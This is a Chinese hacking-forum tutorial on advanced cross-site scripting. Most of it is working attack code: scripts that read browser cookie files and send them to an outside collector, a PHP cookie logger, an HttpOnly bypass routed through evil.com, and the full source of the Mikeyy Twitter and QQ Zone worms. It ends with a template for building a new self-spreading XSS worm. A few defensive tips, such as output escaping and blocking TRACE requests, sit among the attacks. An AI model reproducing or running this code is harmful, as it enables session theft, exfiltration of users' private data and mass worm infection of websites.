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| 关键词： nbsp XSS Version Browser Actual http Agent 蠕虫 COOKIES 文件 |
By [email protected] http://bbs.tian6.com/thread-12711-1-1.html转帖请保留版权 -------------------------------------------前言--------------------------------------------------------- 本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文. 如果你还未具备基础XSS知识,以下几个文章建议拜读:http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRFhttp://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码http://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少. 希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高. 如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化, Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大 QQ ZONE,校内网XSS 感染过万QQ ZONE. OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪 ..........------------------------------------------介绍------------------------------------------------------------- 什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性. 跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到. 如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.我们在这里重点探讨以下几个问题: 1 通过XSS,我们能实现什么? 2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救? 3 XSS的高级利用和高级综合型XSS蠕虫的可行性? 4 XSS漏洞在输出和输入两个方面怎么才能避免. ------------------------------------------研究正题---------------------------------------------------------- 通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫XSS漏洞在输出和输入两个方面怎么才能避免.1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.4:Http-only可以采用作为COOKIES保护方式之一. (I) AJAX在不同的浏览器下的本地文件操作权限:(读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者) 我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!) 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。 3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。 4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.IE6使用ajax读取本地文件 <script> function $(x){return document.getElementById(x)} function ajax_obj(){ var request = false; if(window.XMLHttpRequest) { request = new XMLHttpRequest(); } else if(window.ActiveXObject) { var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; for(var i=0; i<versions.length; i++) { try { request = new ActiveXObject(versions[i]); } catch(e) {} } } return request; } var _x = ajax_obj(); function _7or3(_m,action,argv){ _x.open(_m,action,false); if(_m=="POST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); _x.send(argv); return _x.responseText; } var txt=_7or3("GET","file://localhost/C:/11.txt",null); alert(txt); </script>FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script> function $(x){return document.getElementById(x)} function ajax_obj(){ var request = false; if(window.XMLHttpRequest) { request = new XMLHttpRequest(); } else if(window.ActiveXObject) { var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; for(var i=0; i<versions.length; i++) { try { request = new ActiveXObject(versions[i]); } catch(e) {} } } return request; } var _x = ajax_obj(); function _7or3(_m,action,argv){ _x.open(_m,action,false); if(_m=="POST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); _x.send(argv); return _x.responseText; } var txt=_7or3("GET","1/11.txt",null); alert(txt); </script> Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies” Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History" <? /* Chrome 1.0.154.53 use ajax read local txt file and upload exp www.inbreak.net author [email protected] 2009-4-22 http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. */ header("Content-Disposition: attachment;filename=kxlzx.htm"); header("Content-type: application/kxlzx"); /* set header, so just download html file,and open it at local. */ ?> <form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="POST"> <input id="input" name="cookie" value="" type="hidden"> </form> <script> function doMyAjax(user) { var time = Math.random(); /* the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History and so on... */ var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; startRequest(strPer); } function Enshellcode(txt) { var url=new String(txt); var i=0,l=0,k=0,curl=""; l= url.length; for(;i<l;i++){ k=url.charCodeAt(i); if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} if (l%2){curl+="00";}else{curl+="0000";} curl=curl.replace(/(..)(..)/g,"%u$2$1"); return curl; } var xmlHttp; function createXMLHttp(){ if(window.XMLHttpRequest){ xmlHttp = new XMLHttpRequest(); } else if(window.ActiveXObject){ xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); } } function startRequest(doUrl){ createXMLHttp(); xmlHttp.onreadystatechange = handleStateChange; xmlHttp.open("GET", doUrl, true); xmlHttp.send(null); } function handleStateChange(){ if (xmlHttp.readyState == 4 ){ var strResponse = ""; setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); } } function framekxlzxPost(text) { document.getElementById("input").value = Enshellcode(text); document.getElementById("form").submit(); } doMyAjax("administrator"); </script> opera 9.52使用ajax读取本地COOKIES文件 <script> var xmlHttp; function createXMLHttp(){ if(window.XMLHttpRequest){ xmlHttp = new XMLHttpRequest(); } else if(window.ActiveXObject){ xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); } } function startRequest(doUrl){ createXMLHttp(); xmlHttp.onreadystatechange = handleStateChange; xmlHttp.open("GET", doUrl, true); xmlHttp.send(null); } function handleStateChange(){ if (xmlHttp.readyState == 4 ){ var strResponse = ""; setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000); } } function doMyAjax(user,file) { var time = Math.random(); var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; startRequest(strPer); } function framekxlzxPost(text) { document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); alert(/ok/); } doMyAjax('administrator','administrator@alibaba[1].txt'); </script> a.php <?php $user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; $user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; $fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); fwrite($fp,$_GET["cookie"]); fclose($fp); ?> (II) XSS截屏-镜象网页与XSS实现DDOS: 或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能. 代码片段: //xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false); //xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false); //xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false); function getURL(s) { var image = new Image(); image.style.width = 0; image.style.height = 0; image.src = s; } getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText); XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.这里引用大风的一段简单代码: <script language="javascript"> var metastr = "AAAAAAAAAA"; // 10 A var str = ""; while (str.length < 4000){ str += metastr; } document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";// 一些老版本的webserver可能在这里还会存在XSS </script> 详细代码请看:http://hi.baidu.com/aullik5/blog/item/6947261e7eaeaac0a7866913.html 如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150 假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵. (III) Http only bypass 与 补救对策: 什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。 <script type="text/javascript"><!--function normalCookie() { document.cookie = "TheCookieName=CookieValue_httpOnly"; alert(document.cookie);}function httpOnlyCookie() { document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; alert(document.cookie);}//--></script><FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'><INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM> 但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES: <script> var request = false; if(window.XMLHttpRequest) { request = new XMLHttpRequest(); if(request.overrideMimeType) { request.overrideMimeType('text/xml'); } } else if(window.ActiveXObject) { var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; for(var i=0; i<versions.length; i++) { try { request = new ActiveXObject(versions[i]); } catch(e) {} } } xmlHttp=request; xmlHttp.open("TRACE","http://www.vul.com",false); xmlHttp.send(null); xmlDoc=xmlHttp.responseText; alert(xmlDoc); </script> 但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值. <script> var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); XmlHttp.open("GET","http://www.google.com",false); XmlHttp.setRequestHeader("Host","www.evil.com/collet.php"); XmlHttp.send(null); var resource=xmlHttp.responseText resource.search(/cookies/); ...................... </script> 如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求 [code] RewriteEngine On RewriteCond %{REQUEST_METHOD} ^TRACE RewriteRule .* - [F] Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求 acl TRACE method TRACE ... http_access deny TRACE 突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面. <script> var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); XmlHttp.open("GET","http://www.google.com",false); XmlHttp.setRequestHeader("Host","www.evil.com/collet.php"); XmlHttp.send(null); </script> 当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES. <script> var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false); XmlHttp.send(null); <script> (IV) 综合性的高级XSS蠕虫: 什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.案例:Twitter 蠕蟲五度發威第一版:第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "POST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "POST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user[url]=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""]; 2. 3. function XHConn(){ 4. var _0x6687x2,_0x6687x3=false; 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } 6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } 8. catch(e) { _0x6687x2=false; }; }; }; 第六版: 1. function wait() { 2. var content = document.documentElement.innerHTML; 3. var tmp_cookie=document.cookie; 4. var tmp_posted=tmp_cookie.match(/posted/); 5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); 6. var authtoken=authreg.exec(content); 7. var authtoken=authtoken[1]; 8. var randomUpdate= new Array(); 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy."; 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy."; 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; 13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy."; 15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm http://bit.ly/XvuJe"; 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; 23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; 24. 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)]; 26. var updateEncode=urlencode(randomUpdate[genRand]); 27. 28. var ajaxConn= new XHConn(); 29. ajaxConn.connect("/status/update","POST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); 30. var _0xf81bx1c="Mikeyy"; 31. var updateEncode=urlencode(_0xf81bx1c); 32. var ajaxConn1= new XHConn(); 33. ajaxConn1.connect("/account/settings","POST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); 34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; 35. var XSS=urlencode(genXSS); 36. var ajaxConn2= new XHConn(); 37. ajaxConn2.connect("/account/profile_settings",""POST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes"); 38. 39. } ; 40. setTimeout(wait(),5250); QQ空间XSS function killErrors() {return true;} window.onerror=killErrors; var shendu;shendu=4; //---------------global---v------------------------------------------ //通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？ var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0"; var myblogurl=new Array();var myblogid=new Array(); var gurl=document.location.href; var gurle=gurl.indexOf("com/"); gurl=gurl.substring(0,gurle+3); var visitorID=top.document.documentElement.outerHTML; var cookieS=visitorID.indexOf("g_iLoginUin = "); visitorID=visitorID.substring(cookieS+14); cookieS=visitorID.indexOf(","); visitorID=visitorID.substring(0,cookieS); get_my_blog(visitorID); DOshuamy(); //挂马 function DOshuamy(){ var ssr=document.getElementById("veryTitle"); ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>"); } //如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？ function get_my_blog(visitorID){ userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1"; xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象 if(xhr){ //成功就执行下面的 xhr.open("GET",userurl,false); //以GET方式打开定义的URL xhr.send();guest=xhr.responseText; get_my_blogurl(guest); //执行这个函数 } } //这里似乎是判断没有登录的 function get_my_blogurl(guest){ var mybloglist=guest; var myurls;var blogids;var blogide; for(i=0;i<shendu;i++){ myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串，干什么的就不知道了 if(myurls!=-1){ //找到了就执行下面的 mybloglist=mybloglist.substring(myurls+11); myurls=mybloglist.indexOf(')'); myblogid[i]=mybloglist.substring(0,myurls); }else{break;} } get_my_testself(); //执行这个函数 } //这里往哪跳就不知道了 function get_my_testself(){ for(i=0;i<myblogid.length;i++){ //获得blogid的值 var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid[i]+"&r="+Math.random(); var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象 if(xhr2){ //如果成功 xhr2.open("GET",url,false); //打开上面的那个url xhr2.send(); guest2=xhr2.responseText; var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串，找它做什么？ var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串 if(mycheckmydoit!="-1"){ //返回-1则代表没找到 targetblogurlid=myblogid[i]; add_jsdel(visitorID,targetblogurlid,gurl); //执行它 break; } if(mycheckit=="-1"){ targetblogurlid=myblogid[i]; add_js(visitorID,targetblogurlid,gurl); //执行它 break; } } } } //-------------------------------------- //根据浏览器创建一个XMLHttpRequest对象 function createXMLHttpRequest(){ var XMLhttpObject=null; if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()} else { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP']; for(var i=0;i<MSXML.length;i++) { try { XMLhttpObject=new ActiveXObject(MSXML[i]); break; } catch (ex) { } } } return XMLhttpObject; } //这里就是感染部分了 function add_js(visitorID,targetblogurlid,gurl){ var s2=document.createElement('script'); s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random(); s2.type='text/javascript'; document.getElementsByTagName('head').item(0).appendChild(s2); } function add_jsdel(visitorID,targetblogurlid,gurl){ var s2=document.createElement('script'); s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random(); s2.type='text/javascript'; document.getElementsByTagName('head').item(0).appendChild(s2); } 通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.) 2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.) 综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~ 下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方. 首先,自然是判断不同浏览器,创建不同的对象 var request = false; if(window.XMLHttpRequest) { request = new XMLHttpRequest(); if(request.overrideMimeType) { request.overrideMimeType('text/xml'); } } else if(window.ActiveXObject) { var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; for(var i=0; i<versions.length; i++) { try { request = new ActiveXObject(versions[i]); } catch(e) {} } } xmlHttpReq=request; 可以此时添加判断浏览器具体型号和版本: function browserinfo(){ var Browser_Name=navigator.appName; var Browser_Version=parseFloat(navigator.appVersion); var Browser_Agent=navigator.userAgent; var Actual_Version,Actual_Name; var is_IE=(Browser_Name=="Microsoft Internet Explorer"); var is_NN=(Browser_Name=="Netscape"); var is_Ch=(Browser_Name=="Chrome"); if(is_NN){ if(Browser_Version>=5.0){ var Split_Sign=Browser_Agent.lastIndexOf("/"); var Version=Browser_Agent.indexOf(" ",Split_Sign); var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign); Actual_Version=Browser_Agent.substring(Split_Sign+1,Version); Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign); } else{ Actual_Version=Browser_Version; Actual_Name=Browser_Name; } } else if(is_IE){ var Version_Start=Browser_Agent.indexOf("MSIE"); var Version_End=Browser_Agent.indexOf(";",Version_Start); Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End) Actual_Name=Browser_Name; if(Browser_Agent.indexOf("Maxthon")!=-1){ Actual_Name+="(Maxthon)"; } else if(Browser_Agent.indexOf("Opera")!=-1){ Actual_Name="Opera"; var tempstart=Browser_Agent.indexOf("Opera"); var tempend=Browser_Agent.length; Actual_Version=Browser_Agent.substring(tempstart+6,tempend) } } else if(is_Ch){ var Version_Start=Browser_Agent.indexOf("Chrome"); var Version_End=Browser_Agent.indexOf(";",Version_Start); Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End) Actual_Name=Browser_Name; if(Browser_Agent.indexOf("Maxthon")!=-1){ Actual_Name+="(Maxthon)"; } else if(Browser_Agent.indexOf("Opera")!=-1){ Actual_Name="Opera"; var tempstart=Browser_Agent.indexOf("Opera"); var tempend=Browser_Agent.length; Actual_Version=Browser_Agent.substring(tempstart+6,tempend) } } else{ Actual_Name="Unknown Navigator" Actual_Version="Unknown Version" } navigator.Actual_Name=Actual_Name; navigator.Actual_Version=Actual_Version; this.Name=Actual_Name; this.Version=Actual_Version; } browserinfo(); if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件} if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件} if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件} if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件} 随后可以选择调用镜象网页并且发送功能. 参考上面的镜象代码 随后可以选择调用DDOS功能. 参考上面的DDOS代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好. xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面. xmlHttpReq.send(null); var resource = xmlHttpReq.responseText; var id=0;var result; var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量. while ((result = patt.exec(resource)) != null) { id++; } 然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来. if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只. no=resource.search(/my name is/); var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码. var post="wd="+wd; xmlHttpReq.open("POST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去. xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*"); xmlHttpReq.setRequestHeader("content-length",post.length); xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded"); xmlHttpReq.send(post); } 如果虫的数量已经足够,那么我们就执行蠕虫: else{ var no=resource.search(/my name is/);//这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方 var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得. var wd="Support!"+namee+"<br>";//这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取. var post="wd="+wd; xmlHttpReq.open("POST","http://vul.com/vul.jsp",false); xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*"); xmlHttpReq.setRequestHeader("content-length",post.length); xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded"); xmlHttpReq.send(post); //把传播的信息 POST出去. -----------------------------------------------------总结------------------------------------------------------------------- 